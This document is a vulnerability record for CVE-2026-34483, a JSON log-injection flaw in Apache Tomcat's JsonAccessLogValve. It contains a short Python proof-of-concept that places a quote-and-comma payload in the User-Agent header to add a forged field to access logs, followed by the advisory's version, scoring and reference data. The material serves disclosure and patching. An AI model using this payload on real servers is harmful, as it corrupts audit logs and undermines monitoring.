CVE-2026-34483

import requests # Target URL demonstrating the vulnerability target_url = "http://localhost:8080/" # Malicious payload attempting to inject a new field into the JSON log # This payload includes a quote to close the field and a comma to add a new key-value pair payload = 'normal", "injected": "hacked_by_attacker' headers = { "User-Agent": payload, "Accept": "application/json" } try: response = requests.get(target_url, headers=headers) print(f"Status Code: {response.status_code}") print("Request sent. Check the JsonAccessLogValve output file.") print("Expected behavior: The log line may contain invalid JSON or an extra 'injected' field.") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-34483", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:24.937", "lastModified": "2026-04-14T12:46:39.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Encoding or Escaping of Output vulnerability in the JsonAccessLogValve component of Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.40 through 9.0.116.\n\nUsers are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117 , which fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-116"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.40", "versionEndExcluding": "9.0.117", "matchCriteriaId": "ACAF5903-4457-49C9-AF05-9263BBA8DC90"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.1.0", "versionEndExcluding": "10.1.54", "matchCriteriaId": "EEF3315E-7D6A-447E-B9A4-896758B82EB1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.21", "matchCriteriaId": "D0155D8E-9EA1-43EA-B368-6418B526D8B5"}]}]}], "references": [{"url": "https://lists.apache.org/thread/j1w7304yonlr8vo1tkb5nfs7od1y228b", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/09/26", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}